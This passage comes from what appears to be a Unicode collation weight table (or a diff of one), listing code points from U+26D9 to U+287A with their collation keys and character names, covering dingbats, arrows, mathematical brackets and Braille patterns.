LANE MERGE -26D9 ; [*09E0.0020.0002] # WHITE LEFT LANE MERGE -26DA ; [*09E1.0020.0002] # DRIVE SLOW SIGN -26DB ; [*09E2.0020.0002] # HEAVY WHITE DOWN-POINTING TRIANGLE -26DC ; [*09E3.0020.0002] # LEFT CLOSED ENTRY -26DD ; [*09E4.0020.0002] # SQUARED SALTIRE -26DE ; [*09E5.0020.0002] # FALLING DIAGONAL IN WHITE CIRCLE IN BLACK SQUARE -26DF ; [*09E6.0020.0002] # BLACK TRUCK -26E0 ; [*09E7.0020.0002] # RESTRICTED LEFT ENTRY-1 -26E1 ; [*09E8.0020.0002] # RESTRICTED LEFT ENTRY-2 -26E2 ; [*09E9.0020.0002] # ASTRONOMICAL SYMBOL FOR URANUS -26E3 ; [*09EA.0020.0002] # HEAVY CIRCLE WITH STROKE AND TWO DOTS ABOVE -26E4 ; [*09EB.0020.0002] # PENTAGRAM -26E5 ; [*09EC.0020.0002] # RIGHT-HANDED INTERLACED PENTAGRAM -26E6 ; [*09ED.0020.0002] # LEFT-HANDED INTERLACED PENTAGRAM -26E7 ; [*09EE.0020.0002] # INVERTED PENTAGRAM -26E8 ; [*09EF.0020.0002] # BLACK CROSS ON SHIELD -26E9 ; [*09F0.0020.0002] # SHINTO SHRINE -26EA ; [*09F1.0020.0002] # CHURCH -26EB ; [*09F2.0020.0002] # CASTLE -26EC ; [*09F3.0020.0002] # HISTORIC SITE -26ED ; [*09F4.0020.0002] # GEAR WITHOUT HUB -26EE ; [*09F5.0020.0002] # GEAR WITH HANDLES -26EF ; [*09F6.0020.0002] # MAP SYMBOL FOR LIGHTHOUSE -26F0 ; [*09F7.0020.0002] # MOUNTAIN -26F1 ; [*09F8.0020.0002] # UMBRELLA ON GROUND -26F2 ; [*09F9.0020.0002] # FOUNTAIN -26F3 ; [*09FA.0020.0002] # FLAG IN HOLE -26F4 ; [*09FB.0020.0002] # FERRY -26F5 ; [*09FC.0020.0002] # SAILBOAT -26F6 ; [*09FD.0020.0002] # SQUARE FOUR CORNERS -26F7 ; [*09FE.0020.0002] # SKIER -26F8 ; [*09FF.0020.0002] # ICE SKATE -26F9 ; [*0A00.0020.0002] # PERSON WITH BALL -26FA ; [*0A01.0020.0002] # TENT -26FB ; [*0A02.0020.0002] # JAPANESE BANK SYMBOL -26FC ; [*0A03.0020.0002] # HEADSTONE GRAVEYARD SYMBOL -26FD ; [*0A04.0020.0002] # FUEL PUMP -26FE ; [*0A05.0020.0002] # CUP ON BLACK SQUARE -26FF ; [*0A06.0020.0002] # WHITE FLAG WITH HORIZONTAL MIDDLE BLACK STRIPE -2700 ; [*0A21.0020.0002] # BLACK SAFETY SCISSORS -2701 ; [*0A22.0020.0002] # UPPER BLADE SCISSORS -2702 ; [*0A23.0020.0002] # BLACK SCISSORS -2703 ; [*0A24.0020.0002] # LOWER BLADE SCISSORS -2704 ; [*0A25.0020.0002] # WHITE SCISSORS -2705 ; [*0A26.0020.0002] # WHITE HEAVY CHECK MARK -2706 ; [*0A27.0020.0002] # TELEPHONE LOCATION SIGN -2707 ; [*0A28.0020.0002] # TAPE DRIVE -2708 ; [*0A29.0020.0002] # AIRPLANE -2709 ; [*0A2A.0020.0002] # ENVELOPE -270A ; [*0A2B.0020.0002] # RAISED FIST -270B ; [*0A2C.0020.0002] # RAISED HAND -270C ; [*0A2D.0020.0002] # VICTORY HAND -270D ; [*0A2E.0020.0002] # WRITING HAND -270E ; [*0A2F.0020.0002] # LOWER RIGHT PENCIL -270F ; [*0A30.0020.0002] # PENCIL -2710 ; [*0A31.0020.0002] # UPPER RIGHT PENCIL -2711 ; [*0A32.0020.0002] # WHITE NIB -2712 ; [*0A33.0020.0002] # BLACK NIB -2713 ; [*0A34.0020.0002] # CHECK MARK -2714 ; [*0A35.0020.0002] # HEAVY CHECK MARK -2715 ; [*0A36.0020.0002] # MULTIPLICATION X -2716 ; [*0A37.0020.0002] # HEAVY MULTIPLICATION X -2717 ; [*0A38.0020.0002] # BALLOT X -2718 ; [*0A39.0020.0002] # HEAVY BALLOT X -2719 ; [*0A3A.0020.0002] # OUTLINED GREEK CROSS -271A ; [*0A3B.0020.0002] # HEAVY GREEK CROSS -271B ; [*0A3C.0020.0002] # OPEN CENTRE CROSS -271C ; [*0A3D.0020.0002] # HEAVY OPEN CENTRE CROSS -271D ; [*0A3E.0020.0002] # LATIN CROSS -271E ; [*0A3F.0020.0002] # SHADOWED WHITE LATIN CROSS -271F ; [*0A40.0020.0002] # OUTLINED LATIN CROSS -2720 ; [*0A41.0020.0002] # MALTESE CROSS -2721 ; [*0A42.0020.0002] # STAR OF DAVID -2722 ; [*0A43.0020.0002] # FOUR TEARDROP-SPOKED ASTERISK -2723 ; [*0A44.0020.0002] # FOUR BALLOON-SPOKED ASTERISK -2724 ; [*0A45.0020.0002] # HEAVY FOUR BALLOON-SPOKED ASTERISK -2725 ; [*0A46.0020.0002] # FOUR CLUB-SPOKED ASTERISK -2726 ; [*0A47.0020.0002] # BLACK FOUR POINTED STAR -2727 ; [*0A48.0020.0002] # WHITE FOUR POINTED STAR -2728 ; [*0A49.0020.0002] # SPARKLES -2729 ; [*0A4A.0020.0002] # STRESS OUTLINED WHITE STAR -272A ; [*0A4B.0020.0002] # CIRCLED WHITE STAR -272B ; [*0A4C.0020.0002] # OPEN CENTRE BLACK STAR -272C ; [*0A4D.0020.0002] # BLACK CENTRE WHITE STAR -272D ; [*0A4E.0020.0002] # OUTLINED BLACK STAR -272E ; [*0A4F.0020.0002] # HEAVY OUTLINED BLACK STAR -272F ; [*0A50.0020.0002] # PINWHEEL STAR -2730 ; [*0A51.0020.0002] # SHADOWED WHITE STAR -2731 ; [*0A52.0020.0002] # HEAVY ASTERISK -2732 ; [*0A53.0020.0002] # OPEN CENTRE ASTERISK -2733 ; [*0A54.0020.0002] # EIGHT SPOKED ASTERISK -2734 ; [*0A55.0020.0002] # EIGHT POINTED BLACK STAR -2735 ; [*0A56.0020.0002] # EIGHT POINTED PINWHEEL STAR -2736 ; [*0A57.0020.0002] # SIX POINTED BLACK STAR -2737 ; [*0A58.0020.0002] # EIGHT POINTED RECTILINEAR BLACK STAR -2738 ; [*0A59.0020.0002] # HEAVY EIGHT POINTED RECTILINEAR BLACK STAR -2739 ; [*0A5A.0020.0002] # TWELVE POINTED BLACK STAR -273A ; [*0A5B.0020.0002] # SIXTEEN POINTED ASTERISK -273B ; [*0A5C.0020.0002] # TEARDROP-SPOKED ASTERISK -273C ; [*0A5D.0020.0002] # OPEN CENTRE TEARDROP-SPOKED ASTERISK -273D ; [*0A5E.0020.0002] # HEAVY TEARDROP-SPOKED ASTERISK -273E ; [*0A5F.0020.0002] # SIX PETALLED BLACK AND WHITE FLORETTE -273F ; [*0A60.0020.0002] # BLACK FLORETTE -2740 ; [*0A61.0020.0002] # WHITE FLORETTE -2741 ; [*0A62.0020.0002] # EIGHT PETALLED OUTLINED BLACK FLORETTE -2742 ; [*0A63.0020.0002] # CIRCLED OPEN CENTRE EIGHT POINTED STAR -2743 ; [*0A64.0020.0002] # HEAVY TEARDROP-SPOKED PINWHEEL ASTERISK -2744 ; [*0A65.0020.0002] # SNOWFLAKE -2745 ; [*0A66.0020.0002] # TIGHT TRIFOLIATE SNOWFLAKE -2746 ; [*0A67.0020.0002] # HEAVY CHEVRON SNOWFLAKE -2747 ; [*0A68.0020.0002] # SPARKLE -2748 ; [*0A69.0020.0002] # HEAVY SPARKLE -2749 ; [*0A6A.0020.0002] # BALLOON-SPOKED ASTERISK -274A ; [*0A6B.0020.0002] # EIGHT TEARDROP-SPOKED PROPELLER ASTERISK -274B ; [*0A6C.0020.0002] # HEAVY EIGHT TEARDROP-SPOKED PROPELLER ASTERISK -274C ; [*0A6D.0020.0002] # CROSS MARK -274D ; [*0A6E.0020.0002] # SHADOWED WHITE CIRCLE -274E ; [*0A6F.0020.0002] # NEGATIVE SQUARED CROSS MARK -274F ; [*0A70.0020.0002] # LOWER RIGHT DROP-SHADOWED WHITE SQUARE -2750 ; [*0A71.0020.0002] # UPPER RIGHT DROP-SHADOWED WHITE SQUARE -2751 ; [*0A72.0020.0002] # LOWER RIGHT SHADOWED WHITE SQUARE -2752 ; [*0A73.0020.0002] # UPPER RIGHT SHADOWED WHITE SQUARE -2753 ; [*0A74.0020.0002] # BLACK QUESTION MARK ORNAMENT -2754 ; [*0A75.0020.0002] # WHITE QUESTION MARK ORNAMENT -2755 ; [*0A76.0020.0002] # WHITE EXCLAMATION MARK ORNAMENT -2756 ; [*0A77.0020.0002] # BLACK DIAMOND MINUS WHITE X -2757 ; [*0A78.0020.0002] # HEAVY EXCLAMATION MARK SYMBOL -2758 ; [*0A79.0020.0002] # LIGHT VERTICAL BAR -2759 ; [*0A7A.0020.0002] # MEDIUM VERTICAL BAR -275A ; [*0A7B.0020.0002] # HEAVY VERTICAL BAR -275B ; [*0A7C.0020.0002] # HEAVY SINGLE TURNED COMMA QUOTATION MARK ORNAMENT -275C ; [*0A7D.0020.0002] # HEAVY SINGLE COMMA QUOTATION MARK ORNAMENT -275D ; [*0A7E.0020.0002] # HEAVY DOUBLE TURNED COMMA QUOTATION MARK ORNAMENT -275E ; [*0A7F.0020.0002] # HEAVY DOUBLE COMMA QUOTATION MARK ORNAMENT -275F ; [*0A80.0020.0002] # HEAVY LOW SINGLE COMMA QUOTATION MARK ORNAMENT -2760 ; [*0A81.0020.0002] # HEAVY LOW DOUBLE COMMA QUOTATION MARK ORNAMENT -2761 ; [*0A82.0020.0002] # CURVED STEM PARAGRAPH SIGN ORNAMENT -2762 ; [*0A83.0020.0002] # HEAVY EXCLAMATION MARK ORNAMENT -2763 ; [*0A84.0020.0002] # HEAVY HEART EXCLAMATION MARK ORNAMENT -2764 ; [*0A85.0020.0002] # HEAVY BLACK HEART -2765 ; [*0A86.0020.0002] # ROTATED HEAVY BLACK HEART BULLET -2766 ; [*0A87.0020.0002] # FLORAL HEART -2767 ; [*0A88.0020.0002] # ROTATED FLORAL HEART BULLET -2768 ; [*034D.0020.0002] # MEDIUM LEFT PARENTHESIS ORNAMENT -2769 ; [*034E.0020.0002] # MEDIUM RIGHT PARENTHESIS ORNAMENT -276A ; [*034F.0020.0002] # MEDIUM FLATTENED LEFT PARENTHESIS ORNAMENT -276B ; [*0350.0020.0002] # MEDIUM FLATTENED RIGHT PARENTHESIS ORNAMENT -276C ; [*0351.0020.0002] # MEDIUM LEFT-POINTING ANGLE BRACKET ORNAMENT -276D ; [*0352.0020.0002] # MEDIUM RIGHT-POINTING ANGLE BRACKET ORNAMENT -276E ; [*0353.0020.0002] # HEAVY LEFT-POINTING ANGLE QUOTATION MARK ORNAMENT -276F ; [*0354.0020.0002] # HEAVY RIGHT-POINTING ANGLE QUOTATION MARK ORNAMENT -2770 ; [*0355.0020.0002] # HEAVY LEFT-POINTING ANGLE BRACKET ORNAMENT -2771 ; [*0356.0020.0002] # HEAVY RIGHT-POINTING ANGLE BRACKET ORNAMENT -2772 ; [*0357.0020.0002] # LIGHT LEFT TORTOISE SHELL BRACKET ORNAMENT -2773 ; [*0358.0020.0002] # LIGHT RIGHT TORTOISE SHELL BRACKET ORNAMENT -2774 ; [*0359.0020.0002] # MEDIUM LEFT CURLY BRACKET ORNAMENT -2775 ; [*035A.0020.0002] # MEDIUM RIGHT CURLY BRACKET ORNAMENT -2794 ; [*0A89.0020.0002] # HEAVY WIDE-HEADED RIGHTWARDS ARROW -2795 ; [*0A8A.0020.0002] # HEAVY PLUS SIGN -2796 ; [*0A8B.0020.0002] # HEAVY MINUS SIGN -2797 ; [*0A8C.0020.0002] # HEAVY DIVISION SIGN -2798 ; [*0A8D.0020.0002] # HEAVY SOUTH EAST ARROW -2799 ; [*0A8E.0020.0002] # HEAVY RIGHTWARDS ARROW -279A ; [*0A8F.0020.0002] # HEAVY NORTH EAST ARROW -279B ; [*0A90.0020.0002] # DRAFTING POINT RIGHTWARDS ARROW -279C ; [*0A91.0020.0002] # HEAVY ROUND-TIPPED RIGHTWARDS ARROW -279D ; [*0A92.0020.0002] # TRIANGLE-HEADED RIGHTWARDS ARROW -279E ; [*0A93.0020.0002] # HEAVY TRIANGLE-HEADED RIGHTWARDS ARROW -279F ; [*0A94.0020.0002] # DASHED TRIANGLE-HEADED RIGHTWARDS ARROW -27A0 ; [*0A95.0020.0002] # HEAVY DASHED TRIANGLE-HEADED RIGHTWARDS ARROW -27A1 ; [*0A96.0020.0002] # BLACK RIGHTWARDS ARROW -27A2 ; [*0A97.0020.0002] # THREE-D TOP-LIGHTED RIGHTWARDS ARROWHEAD -27A3 ; [*0A98.0020.0002] # THREE-D BOTTOM-LIGHTED RIGHTWARDS ARROWHEAD -27A4 ; [*0A99.0020.0002] # BLACK RIGHTWARDS ARROWHEAD -27A5 ; [*0A9A.0020.0002] # HEAVY BLACK CURVED DOWNWARDS AND RIGHTWARDS ARROW -27A6 ; [*0A9B.0020.0002] # HEAVY BLACK CURVED UPWARDS AND RIGHTWARDS ARROW -27A7 ; [*0A9C.0020.0002] # SQUAT BLACK RIGHTWARDS ARROW -27A8 ; [*0A9D.0020.0002] # HEAVY CONCAVE-POINTED BLACK RIGHTWARDS ARROW -27A9 ; [*0A9E.0020.0002] # RIGHT-SHADED WHITE RIGHTWARDS ARROW -27AA ; [*0A9F.0020.0002] # LEFT-SHADED WHITE RIGHTWARDS ARROW -27AB ; [*0AA0.0020.0002] # BACK-TILTED SHADOWED WHITE RIGHTWARDS ARROW -27AC ; [*0AA1.0020.0002] # FRONT-TILTED SHADOWED WHITE RIGHTWARDS ARROW -27AD ; [*0AA2.0020.0002] # HEAVY LOWER RIGHT-SHADOWED WHITE RIGHTWARDS ARROW -27AE ; [*0AA3.0020.0002] # HEAVY UPPER RIGHT-SHADOWED WHITE RIGHTWARDS ARROW -27AF ; [*0AA4.0020.0002] # NOTCHED LOWER RIGHT-SHADOWED WHITE RIGHTWARDS ARROW -27B0 ; [*0AA5.0020.0002] # CURLY LOOP -27B1 ; [*0AA6.0020.0002] # NOTCHED UPPER RIGHT-SHADOWED WHITE RIGHTWARDS ARROW -27B2 ; [*0AA7.0020.0002] # CIRCLED HEAVY WHITE RIGHTWARDS ARROW -27B3 ; [*0AA8.0020.0002] # WHITE-FEATHERED RIGHTWARDS ARROW -27B4 ; [*0AA9.0020.0002] # BLACK-FEATHERED SOUTH EAST ARROW -27B5 ; [*0AAA.0020.0002] # BLACK-FEATHERED RIGHTWARDS ARROW -27B6 ; [*0AAB.0020.0002] # BLACK-FEATHERED NORTH EAST ARROW -27B7 ; [*0AAC.0020.0002] # HEAVY BLACK-FEATHERED SOUTH EAST ARROW -27B8 ; [*0AAD.0020.0002] # HEAVY BLACK-FEATHERED RIGHTWARDS ARROW -27B9 ; [*0AAE.0020.0002] # HEAVY BLACK-FEATHERED NORTH EAST ARROW -27BA ; [*0AAF.0020.0002] # TEARDROP-BARBED RIGHTWARDS ARROW -27BB ; [*0AB0.0020.0002] # HEAVY TEARDROP-SHANKED RIGHTWARDS ARROW -27BC ; [*0AB1.0020.0002] # WEDGE-TAILED RIGHTWARDS ARROW -27BD ; [*0AB2.0020.0002] # HEAVY WEDGE-TAILED RIGHTWARDS ARROW -27BE ; [*0AB3.0020.0002] # OPEN-OUTLINED RIGHTWARDS ARROW -27BF ; [*0AB4.0020.0002] # DOUBLE CURLY LOOP -27C0 ; [*0AB5.0020.0002] # THREE DIMENSIONAL ANGLE -27C1 ; [*0AB6.0020.0002] # WHITE TRIANGLE CONTAINING SMALL WHITE TRIANGLE -27C2 ; [*0AB7.0020.0002] # PERPENDICULAR -27C3 ; [*0AB8.0020.0002] # OPEN SUBSET -27C4 ; [*0AB9.0020.0002] # OPEN SUPERSET -27C5 ; [*0341.0020.0002] # LEFT S-SHAPED BAG DELIMITER -27C6 ; [*0342.0020.0002] # RIGHT S-SHAPED BAG DELIMITER -27C7 ; [*0ABA.0020.0002] # OR WITH DOT INSIDE -27C8 ; [*0ABB.0020.0002] # REVERSE SOLIDUS PRECEDING SUBSET -27C9 ; [*0ABC.0020.0002] # SUPERSET PRECEDING SOLIDUS -27CA ; [*0ABD.0020.0002] # VERTICAL BAR WITH HORIZONTAL STROKE -27CB ; [*0ABE.0020.0002] # MATHEMATICAL RISING DIAGONAL -27CC ; [*0ABF.0020.0002] # LONG DIVISION -27CD ; [*0AC0.0020.0002] # MATHEMATICAL FALLING DIAGONAL -27CE ; [*0AC1.0020.0002] # SQUARED LOGICAL AND -27CF ; [*0AC2.0020.0002] # SQUARED LOGICAL OR -27D0 ; [*0AC3.0020.0002] # WHITE DIAMOND WITH CENTRED DOT -27D1 ; [*0AC4.0020.0002] # AND WITH DOT -27D2 ; [*0AC5.0020.0002] # ELEMENT OF OPENING UPWARDS -27D3 ; [*0AC6.0020.0002] # LOWER RIGHT CORNER WITH DOT -27D4 ; [*0AC7.0020.0002] # UPPER LEFT CORNER WITH DOT -27D5 ; [*0AC8.0020.0002] # LEFT OUTER JOIN -27D6 ; [*0AC9.0020.0002] # RIGHT OUTER JOIN -27D7 ; [*0ACA.0020.0002] # FULL OUTER JOIN -27D8 ; [*0ACB.0020.0002] # LARGE UP TACK -27D9 ; [*0ACC.0020.0002] # LARGE DOWN TACK -27DA ; [*0ACD.0020.0002] # LEFT AND RIGHT DOUBLE TURNSTILE -27DB ; [*0ACE.0020.0002] # LEFT AND RIGHT TACK -27DC ; [*0ACF.0020.0002] # LEFT MULTIMAP -27DD ; [*0AD0.0020.0002] # LONG RIGHT TACK -27DE ; [*0AD1.0020.0002] # LONG LEFT TACK -27DF ; [*0AD2.0020.0002] # UP TACK WITH CIRCLE ABOVE -27E0 ; [*0AD3.0020.0002] # LOZENGE DIVIDED BY HORIZONTAL RULE -27E1 ; [*0AD4.0020.0002] # WHITE CONCAVE-SIDED DIAMOND -27E2 ; [*0AD5.0020.0002] # WHITE CONCAVE-SIDED DIAMOND WITH LEFTWARDS TICK -27E3 ; [*0AD6.0020.0002] # WHITE CONCAVE-SIDED DIAMOND WITH RIGHTWARDS TICK -27E4 ; [*0AD7.0020.0002] # WHITE SQUARE WITH LEFTWARDS TICK -27E5 ; [*0AD8.0020.0002] # WHITE SQUARE WITH RIGHTWARDS TICK -27E6 ; [*0343.0020.0002] # MATHEMATICAL LEFT WHITE SQUARE BRACKET -27E7 ; [*0344.0020.0002] # MATHEMATICAL RIGHT WHITE SQUARE BRACKET -27E8 ; [*0345.0020.0002] # MATHEMATICAL LEFT ANGLE BRACKET -27E9 ; [*0346.0020.0002] # MATHEMATICAL RIGHT ANGLE BRACKET -27EA ; [*0347.0020.0002] # MATHEMATICAL LEFT DOUBLE ANGLE BRACKET -27EB ; [*0348.0020.0002] # MATHEMATICAL RIGHT DOUBLE ANGLE BRACKET -27EC ; [*0349.0020.0002] # MATHEMATICAL LEFT WHITE TORTOISE SHELL BRACKET -27ED ; [*034A.0020.0002] # MATHEMATICAL RIGHT WHITE TORTOISE SHELL BRACKET -27EE ; [*034B.0020.0002] # MATHEMATICAL LEFT FLATTENED PARENTHESIS -27EF ; [*034C.0020.0002] # MATHEMATICAL RIGHT FLATTENED PARENTHESIS -27F0 ; [*0AD9.0020.0002] # UPWARDS QUADRUPLE ARROW -27F1 ; [*0ADA.0020.0002] # DOWNWARDS QUADRUPLE ARROW -27F2 ; [*0ADB.0020.0002] # ANTICLOCKWISE GAPPED CIRCLE ARROW -27F3 ; [*0ADC.0020.0002] # CLOCKWISE GAPPED CIRCLE ARROW -27F4 ; [*0ADD.0020.0002] # RIGHT ARROW WITH CIRCLED PLUS -27F5 ; [*0ADE.0020.0002] # LONG LEFTWARDS ARROW -27F6 ; [*0ADF.0020.0002] # LONG RIGHTWARDS ARROW -27F7 ; [*0AE0.0020.0002] # LONG LEFT RIGHT ARROW -27F8 ; [*0AE1.0020.0002] # LONG LEFTWARDS DOUBLE ARROW -27F9 ; [*0AE2.0020.0002] # LONG RIGHTWARDS DOUBLE ARROW -27FA ; [*0AE3.0020.0002] # LONG LEFT RIGHT DOUBLE ARROW -27FB ; [*0AE4.0020.0002] # LONG LEFTWARDS ARROW FROM BAR -27FC ; [*0AE5.0020.0002] # LONG RIGHTWARDS ARROW FROM BAR -27FD ; [*0AE6.0020.0002] # LONG LEFTWARDS DOUBLE ARROW FROM BAR -27FE ; [*0AE7.0020.0002] # LONG RIGHTWARDS DOUBLE ARROW FROM BAR -27FF ; [*0AE8.0020.0002] # LONG RIGHTWARDS SQUIGGLE ARROW -2800 ; [*0D9C.0020.0002] # BRAILLE PATTERN BLANK -2801 ; [*0D9D.0020.0002] # BRAILLE PATTERN DOTS-1 -2802 ; [*0D9E.0020.0002] # BRAILLE PATTERN DOTS-2 -2803 ; [*0D9F.0020.0002] # BRAILLE PATTERN DOTS-12 -2804 ; [*0DA0.0020.0002] # BRAILLE PATTERN DOTS-3 -2805 ; [*0DA1.0020.0002] # BRAILLE PATTERN DOTS-13 -2806 ; [*0DA2.0020.0002] # BRAILLE PATTERN DOTS-23 -2807 ; [*0DA3.0020.0002] # BRAILLE PATTERN DOTS-123 -2808 ; [*0DA4.0020.0002] # BRAILLE PATTERN DOTS-4 -2809 ; [*0DA5.0020.0002] # BRAILLE PATTERN DOTS-14 -280A ; [*0DA6.0020.0002] # BRAILLE PATTERN DOTS-24 -280B ; [*0DA7.0020.0002] # BRAILLE PATTERN DOTS-124 -280C ; [*0DA8.0020.0002] # BRAILLE PATTERN DOTS-34 -280D ; [*0DA9.0020.0002] # BRAILLE PATTERN DOTS-134 -280E ; [*0DAA.0020.0002] # BRAILLE PATTERN DOTS-234 -280F ; [*0DAB.0020.0002] # BRAILLE PATTERN DOTS-1234 -2810 ; [*0DAC.0020.0002] # BRAILLE PATTERN DOTS-5 -2811 ; [*0DAD.0020.0002] # BRAILLE PATTERN DOTS-15 -2812 ; [*0DAE.0020.0002] # BRAILLE PATTERN DOTS-25 -2813 ; [*0DAF.0020.0002] # BRAILLE PATTERN DOTS-125 -2814 ; [*0DB0.0020.0002] # BRAILLE PATTERN DOTS-35 -2815 ; [*0DB1.0020.0002] # BRAILLE PATTERN DOTS-135 -2816 ; [*0DB2.0020.0002] # BRAILLE PATTERN DOTS-235 -2817 ; [*0DB3.0020.0002] # BRAILLE PATTERN DOTS-1235 -2818 ; [*0DB4.0020.0002] # BRAILLE PATTERN DOTS-45 -2819 ; [*0DB5.0020.0002] # BRAILLE PATTERN DOTS-145 -281A ; [*0DB6.0020.0002] # BRAILLE PATTERN DOTS-245 -281B ; [*0DB7.0020.0002] # BRAILLE PATTERN DOTS-1245 -281C ; [*0DB8.0020.0002] # BRAILLE PATTERN DOTS-345 -281D ; [*0DB9.0020.0002] # BRAILLE PATTERN DOTS-1345 -281E ; [*0DBA.0020.0002] # BRAILLE PATTERN DOTS-2345 -281F ; [*0DBB.0020.0002] # BRAILLE PATTERN DOTS-12345 -2820 ; [*0DBC.0020.0002] # BRAILLE PATTERN DOTS-6 -2821 ; [*0DBD.0020.0002] # BRAILLE PATTERN DOTS-16 -2822 ; [*0DBE.0020.0002] # BRAILLE PATTERN DOTS-26 -2823 ; [*0DBF.0020.0002] # BRAILLE PATTERN DOTS-126 -2824 ; [*0DC0.0020.0002] # BRAILLE PATTERN DOTS-36 -2825 ; [*0DC1.0020.0002] # BRAILLE PATTERN DOTS-136 -2826 ; [*0DC2.0020.0002] # BRAILLE PATTERN DOTS-236 -2827 ; [*0DC3.0020.0002] # BRAILLE PATTERN DOTS-1236 -2828 ; [*0DC4.0020.0002] # BRAILLE PATTERN DOTS-46 -2829 ; [*0DC5.0020.0002] # BRAILLE PATTERN DOTS-146 -282A ; [*0DC6.0020.0002] # BRAILLE PATTERN DOTS-246 -282B ; [*0DC7.0020.0002] # BRAILLE PATTERN DOTS-1246 -282C ; [*0DC8.0020.0002] # BRAILLE PATTERN DOTS-346 -282D ; [*0DC9.0020.0002] # BRAILLE PATTERN DOTS-1346 -282E ; [*0DCA.0020.0002] # BRAILLE PATTERN DOTS-2346 -282F ; [*0DCB.0020.0002] # BRAILLE PATTERN DOTS-12346 -2830 ; [*0DCC.0020.0002] # BRAILLE PATTERN DOTS-56 -2831 ; [*0DCD.0020.0002] # BRAILLE PATTERN DOTS-156 -2832 ; [*0DCE.0020.0002] # BRAILLE PATTERN DOTS-256 -2833 ; [*0DCF.0020.0002] # BRAILLE PATTERN DOTS-1256 -2834 ; [*0DD0.0020.0002] # BRAILLE PATTERN DOTS-356 -2835 ; [*0DD1.0020.0002] # BRAILLE PATTERN DOTS-1356 -2836 ; [*0DD2.0020.0002] # BRAILLE PATTERN DOTS-2356 -2837 ; [*0DD3.0020.0002] # BRAILLE PATTERN DOTS-12356 -2838 ; [*0DD4.0020.0002] # BRAILLE PATTERN DOTS-456 -2839 ; [*0DD5.0020.0002] # BRAILLE PATTERN DOTS-1456 -283A ; [*0DD6.0020.0002] # BRAILLE PATTERN DOTS-2456 -283B ; [*0DD7.0020.0002] # BRAILLE PATTERN DOTS-12456 -283C ; [*0DD8.0020.0002] # BRAILLE PATTERN DOTS-3456 -283D ; [*0DD9.0020.0002] # BRAILLE PATTERN DOTS-13456 -283E ; [*0DDA.0020.0002] # BRAILLE PATTERN DOTS-23456 -283F ; [*0DDB.0020.0002] # BRAILLE PATTERN DOTS-123456 -2840 ; [*0DDC.0020.0002] # BRAILLE PATTERN DOTS-7 -2841 ; [*0DDD.0020.0002] # BRAILLE PATTERN DOTS-17 -2842 ; [*0DDE.0020.0002] # BRAILLE PATTERN DOTS-27 -2843 ; [*0DDF.0020.0002] # BRAILLE PATTERN DOTS-127 -2844 ; [*0DE0.0020.0002] # BRAILLE PATTERN DOTS-37 -2845 ; [*0DE1.0020.0002] # BRAILLE PATTERN DOTS-137 -2846 ; [*0DE2.0020.0002] # BRAILLE PATTERN DOTS-237 -2847 ; [*0DE3.0020.0002] # BRAILLE PATTERN DOTS-1237 -2848 ; [*0DE4.0020.0002] # BRAILLE PATTERN DOTS-47 -2849 ; [*0DE5.0020.0002] # BRAILLE PATTERN DOTS-147 -284A ; [*0DE6.0020.0002] # BRAILLE PATTERN DOTS-247 -284B ; [*0DE7.0020.0002] # BRAILLE PATTERN DOTS-1247 -284C ; [*0DE8.0020.0002] # BRAILLE PATTERN DOTS-347 -284D ; [*0DE9.0020.0002] # BRAILLE PATTERN DOTS-1347 -284E ; [*0DEA.0020.0002] # BRAILLE PATTERN DOTS-2347 -284F ; [*0DEB.0020.0002] # BRAILLE PATTERN DOTS-12347 -2850 ; [*0DEC.0020.0002] # BRAILLE PATTERN DOTS-57 -2851 ; [*0DED.0020.0002] # BRAILLE PATTERN DOTS-157 -2852 ; [*0DEE.0020.0002] # BRAILLE PATTERN DOTS-257 -2853 ; [*0DEF.0020.0002] # BRAILLE PATTERN DOTS-1257 -2854 ; [*0DF0.0020.0002] # BRAILLE PATTERN DOTS-357 -2855 ; [*0DF1.0020.0002] # BRAILLE PATTERN DOTS-1357 -2856 ; [*0DF2.0020.0002] # BRAILLE PATTERN DOTS-2357 -2857 ; [*0DF3.0020.0002] # BRAILLE PATTERN DOTS-12357 -2858 ; [*0DF4.0020.0002] # BRAILLE PATTERN DOTS-457 -2859 ; [*0DF5.0020.0002] # BRAILLE PATTERN DOTS-1457 -285A ; [*0DF6.0020.0002] # BRAILLE PATTERN DOTS-2457 -285B ; [*0DF7.0020.0002] # BRAILLE PATTERN DOTS-12457 -285C ; [*0DF8.0020.0002] # BRAILLE PATTERN DOTS-3457 -285D ; [*0DF9.0020.0002] # BRAILLE PATTERN DOTS-13457 -285E ; [*0DFA.0020.0002] # BRAILLE PATTERN DOTS-23457 -285F ; [*0DFB.0020.0002] # BRAILLE PATTERN DOTS-123457 -2860 ; [*0DFC.0020.0002] # BRAILLE PATTERN DOTS-67 -2861 ; [*0DFD.0020.0002] # BRAILLE PATTERN DOTS-167 -2862 ; [*0DFE.0020.0002] # BRAILLE PATTERN DOTS-267 -2863 ; [*0DFF.0020.0002] # BRAILLE PATTERN DOTS-1267 -2864 ; [*0E00.0020.0002] # BRAILLE PATTERN DOTS-367 -2865 ; [*0E01.0020.0002] # BRAILLE PATTERN DOTS-1367 -2866 ; [*0E02.0020.0002] # BRAILLE PATTERN DOTS-2367 -2867 ; [*0E03.0020.0002] # BRAILLE PATTERN DOTS-12367 -2868 ; [*0E04.0020.0002] # BRAILLE PATTERN DOTS-467 -2869 ; [*0E05.0020.0002] # BRAILLE PATTERN DOTS-1467 -286A ; [*0E06.0020.0002] # BRAILLE PATTERN DOTS-2467 -286B ; [*0E07.0020.0002] # BRAILLE PATTERN DOTS-12467 -286C ; [*0E08.0020.0002] # BRAILLE PATTERN DOTS-3467 -286D ; [*0E09.0020.0002] # BRAILLE PATTERN DOTS-13467 -286E ; [*0E0A.0020.0002] # BRAILLE PATTERN DOTS-23467 -286F ; [*0E0B.0020.0002] # BRAILLE PATTERN DOTS-123467 -2870 ; [*0E0C.0020.0002] # BRAILLE PATTERN DOTS-567 -2871 ; [*0E0D.0020.0002] # BRAILLE PATTERN DOTS-1567 -2872 ; [*0E0E.0020.0002] # BRAILLE PATTERN DOTS-2567 -2873 ; [*0E0F.0020.0002] # BRAILLE PATTERN DOTS-12567 -2874 ; [*0E10.0020.0002] # BRAILLE PATTERN DOTS-3567 -2875 ; [*0E11.0020.0002] # BRAILLE PATTERN DOTS-13567 -2876 ; [*0E12.0020.0002] # BRAILLE PATTERN DOTS-23567 -2877 ; [*0E13.0020.0002] # BRAILLE PATTERN DOTS-123567 -2878 ; [*0E14.0020.0002] # BRAILLE PATTERN DOTS-4567 -2879 ; [*0E15.0020.0002] # BRAILLE PATTERN DOTS-14567 -287A ; [*0E16.0020.0002] # BRAILLE PATTERN 